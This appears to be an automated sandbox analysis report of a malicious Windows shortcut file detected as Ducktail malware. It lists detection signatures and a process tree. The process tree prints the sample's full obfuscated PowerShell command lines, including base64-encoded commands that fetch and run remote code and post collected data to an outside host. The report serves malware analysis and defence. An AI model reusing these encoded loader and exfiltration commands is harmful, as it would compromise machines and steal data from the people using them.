Edit tour
Windows
Analysis Report
SPENDINGONDIGITALMARKETING_DIGITALMARKETINGBUDGET lnk.lnk
Overview
General Information
| Sample name: | SPENDINGONDIGITALMARKETING_DIGITALMARKETINGBUDGET lnk.lnk |
| Analysis ID: | 1551869 |
| MD5: | fd9940203c5ab5408fbb9dd774eba20f |
| SHA1: | 422f2f293d4f23f090520816f158a64acae1d33b |
| SHA256: | a0ba93db49885e9631ec4487b711cbf95b0852ef404ff33e468b9d330524b7a7 |
| Infos: |   |
 | |
Detection
Ducktail
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Ducktail
Allows multiple concurrent remote connection
Bypasses PowerShell execution policy
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Modifies security policies related information
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: PowerShell Base64 Encoded WMI Classes
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious New Service Creation
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Uses known network protocols on non-standard ports
Yara detected Obfuscated Powershell
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
PE file contains strange resources
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64native
cmd.exe (PID: 7852 cmdline: "C:\Window s\system32 \cmd.exe" /v /k "s^t ^ar^t /MIn "" POwE^R ^shELL -W h^I^D^D^E^ n -nO^l^og o -nO^p -E p B^yp^a^s ^S -ENCO^d ed^Com^m^a ^N^d "SQBF AFgAIAAoAF sAVABFAHgA VAAuAEUATg BDAG8ARABp AE4AZwBdAD oAOgBVAFQA RgA4AC4ARw BFAFQAUwB0 AHIASQBOAE cAKAAoAGkA VwByACAAKA BbAFMAeQBz AHQAZQBtAC 4AVABlAHgA dAAuAEUAbg BjAG8AZABp AG4AZwBdAD oAOgBVAFQA RgA4AC4ARw BlAHQAUwB0 AHIAaQBuAG cAKABbAEMA bwBuAHYAZQ ByAHQAXQA6 ADoARgByAG 8AbQBCAGEA cwBlADYANA BTAHQAcgBp AG4AZwAoAC IAYQBIAFIA MABjAEgATQ A2AEwAeQA5 ADEAZQBYAF EAeABiAGoA aABrAFoAVw BRADUAWgBt AEkAegBPAE QAQQB1AFkA MgA5AHQATA AwAFEAPQAi ACkAKQApAC kALgBDAG8A bgB0AGUAbg B0ACkAKQA= "" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7864 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
powershell.exe (PID: 7944 cmdline: POwERshELL -W hIDDEn -nOlogo - nOp -Ep By pasS -ENCO dedCommaNd "SQBFAFgA IAAoAFsAVA BFAHgAVAAu AEUATgBDAG 8ARABpAE4A ZwBdADoAOg BVAFQARgA4 AC4ARwBFAF QAUwB0AHIA SQBOAEcAKA AoAGkAVwBy ACAAKABbAF MAeQBzAHQA ZQBtAC4AVA BlAHgAdAAu AEUAbgBjAG 8AZABpAG4A ZwBdADoAOg BVAFQARgA4 AC4ARwBlAH QAUwB0AHIA aQBuAGcAKA BbAEMAbwBu AHYAZQByAH QAXQA6ADoA RgByAG8AbQ BCAGEAcwBl ADYANABTAH QAcgBpAG4A ZwAoACIAYQ BIAFIAMABj AEgATQA2AE wAeQA5ADEA ZQBYAFEAeA BiAGoAaABr AFoAVwBRAD UAWgBtAEkA egBPAEQAQQ B1AFkAMgA5 AHQATAAwAF EAPQAiACkA KQApACkALg BDAG8AbgB0 AGUAbgB0AC kAKQA=" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7968 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
csc.exe (PID: 7372 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\wpyeyr 2r\wpyeyr2 r.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66) - cvtres.exe (PID: 7404 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES8A4C.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\wpy eyr2r\CSCD 8967564BBC 847D191922 ABCF6C6B3B .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - powershell.exe (PID: 5892 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Version 5 .1 -s -NoL ogo -NoPro file MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 1224 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
AcroRd32.exe (PID: 6376 cmdline: "C:\Progra m Files (x 86)\Adobe\ Acrobat Re ader DC\Re ader\AcroR d32.exe" " C:\Users\u ser\AppDat a\Local\Te mp\SPENDIN GONDIGITAL MARKETING_ DIGITALMAR KETINGBUDG ET.pdf" MD5: 0F4FB7ADA3C27236864D008A1687AD8D) 
RdrCEF.exe (PID: 7364 cmdline: "C:\Progra m Files (x 86)\Adobe\ Acrobat Re ader DC\Re ader\AcroC EF\RdrCEF. exe" --bac kgroundcol or=1677721 5 MD5: 35AF5C1FA6FAC9569BB3FF6654A7152E) - RdrCEF.exe (PID: 4308 cmdline:
"C:\Progra m Files (x 86)\Adobe\ Acrobat Re ader DC\Re ader\AcroC EF\RdrCEF. exe" --typ e=utility --utility- sub-type=n etwork.moj om.Network Service -- lang=en-US --service -sandbox-t ype=none - -log-sever ity=disabl e --user-a gent-produ ct="Reader Services/2 3.3.20269 Chrome/105 .0.0.0" -- lang=en-US --user-da ta-dir="C: \Users\use r\AppData\ Local\CEF\ User Data" --log-fil e="C:\Prog ram Files (x86)\Adob e\Acrobat Reader DC\ Reader\Acr oCEF\debug .log" --mo jo-platfor m-channel- handle=234 8 --field- trial-hand le=1660,i, 1568708242 3060682323 ,124880844 3683017318 6,131072 - -disable-f eatures=Ba ckForwardC ache,Calcu lateNative WinOcclusi on,WinUseB rowserSpel lChecker / prefetch:8 MD5: 35AF5C1FA6FAC9569BB3FF6654A7152E) - cmd.exe (PID: 6356 cmdline:
"C:\Window s\system32 \cmd.exe" /c start / min "" pow ershell.ex e -WindowS tyle hidde n -NoLogo -NoProfile -Executio nPolicy by pass -Enco dedCommand JAB1AHIAa QAgAD0AIAA iAGgAdAB0A HAAcwA6AC8 ALwB1AHkAd AAxAG4AOAB kAGUAZAA5A GYAYgAzADg AMAAuAGMAb wBtAC8AZgB pAGwAZQAyA C8ANgA3AGY AMAA4ADIAO ABkAGUANQA 1AGEANwBiA DAAYQBlADQ AMQA0ADMAZ ABlAGYANAA xAGIAZQA1A DgAMgA2AGU AMwA1ADcAM gA4AGYAZQA 1ADEANgBhA DYAOABmAGQ ANwA3ADcAN gBmADQAZgA 0ADcANAA2A DgAOQBiAGM ANgBhAGIAM gAyADIANwA zAGMANwAzA GIANwAwAGE AMQBkAGIAN gBhADEAZAA xAGEANQBhA DcAMgAyAGQ AYgA1ADcAO AAyADYAYwB kAGIAYQBmA DkAYgBiADE AZABhADkAM QA5AGEAYgA 2AGIANQAzA DkANgA3AGM ANABiAGYAM AA0ADQAZgB iADgAMgBiA DgAMQBhAGY AZABiAGYAM QA1ADUANgA 5AGQANQBlA GMAYwBkAGU AMAAzAGIAY wA4AGMANAB hADcAYQA3A DEANAA5ADg AZQBiADEAZ AA2AGIAOAA wAGQAMgA2A DAAMAA3ADY ANgBhAGEAN wA5ADgAMQA xADkAZQA5A DcANAA0AGM AYwBiADkAY QAxADIANAA 5ADcANgAxA DgAZQA4AGM AMgAxADkAO AA3ADIANgA yADAAMwA2A CIAOwANAAo AJABjAG8Ad QBuAHQAIAA 9ACAAMQAwA DAAOwANAAo ADQAKAA0AC gANAAoAZgB 1AG4AYwB0A GkAbwBuACA AUwBlAG4AZ AAgAHsADQA KACAAIAAgA CAAcABhAHI AYQBtACgAI ABbAFAAUwB PAGIAagBlA GMAdABdACA AJABsAG8AZ wBNAHMAZwA gACkADQAKA A0ACgAgACA AIAAgACMAI ABDAG8AbgB 2AGUAcgB0A CAAYgBvAGQ AeQAgAHQAb wAgAHMAdAB yAGkAbgBnA A0ACgAgACA AIAAgACQAc wB0AHIAaQB uAGcAQgBvA GQAeQAgAD0 AIABbAHMAd AByAGkAbgB nAF0AKAAkA GwAbwBnAE0 AcwBnACAAf AAgAEMAbwB uAHYAZQByA HQAVABvAC0 ASgBzAG8Ab gApADsADQA KACAAIAAgA CAAJABsAG8 AZwBNAGUAc wBzAGEAZwB lAHMAIAA9A CAAQAAoACk AOwANAAoAI AAgACAAIAA kAGwAbwBnA E0AZQBzAHM AYQBnAGUAc wAgACsAPQA gACQAcwB0A HIAaQBuAGc AQgBvAGQAe QA7AA0ACgA gACAAIAAgA CQAbABvAGc ATQBlAHMAc wBhAGcAZQB zACAAKwA9A CAAIgAtAC0 ALQAtAC0AL QAtAC0ALQA tACIAOwANA AoADQAKACA AIAAgACAAJ ABoAGUAYQB kAGUAcgBzA CAAPQAgAEA AewB9ADsAD QAKACAAIAA gACAAJABrA GUAeQAgAD0 AIAAiAEMAb wBuAHQAZQB uAHQALQBUA HkAcABlACI AOwANAAoAI AAgACAAIAA kAHYAYQBsA HUAZQAgAD0 AIAAiAGEAc ABwAGwAaQB jAGEAdABpA G8AbgAvAGo AcwBvAG4AI gA7AA0ACgA NAAoAIAAgA CAAIAAkAGg AZQBhAGQAZ QByAHMAWwA kAGsAZQB5A F0AIAA9ACA AJAB2AGEAb AB1AGUAOwA NAAoAIAAgA CAAIAAkAHU AcgBpACAAP QAgACIATAB PAEcAVQBSA EwAIgA7AA0 ACgAgACAAI AAgAHQAcgB 5AA0ACgAgA CAAIAAgACA AIAAgACAAe wANAAoAIAA gACAAIAAgA CAAIAAgACA AIAAgACAAJ ABiAG8AZAB 5ACAAPQAgA CQAbABvAGc ATQBlAHMAc wBhAGcAZQB zACAAfAAgA EMAbwBuAHY AZQByAHQAV ABvAC0ASgB zAG8AbgA7A A0ACgAgACA AIAAgACAAI AAgACAAIAA gACAAIABJA G4AdgBvAGs AZQAtAFcAZ QBiAFIAZQB xAHUAZQBzA HQAIAAtAFU AcgBpACAAJ AB1AHIAaQA gAC0ATQBlA HQAaABvAGQ AIABQAG8Ac wB0ACAALQB IAGUAYQBkA GUAcgBzACA AJABoAGUAY QBkAGUAcgB zACAALQBCA G8AZAB5ACA AJABiAG8AZ AB5AA0ACgA gACAAIAAgA CAAIAAgACA AfQANAAoAI AAgACAAIAA gACAAIAAgA GMAYQB0AGM AaAB7AA0AC gAgACAAIAA gACAAIAAgA CAAIAAgACA AIAANAAoAI AAgACAAIAA gACAAIAAgA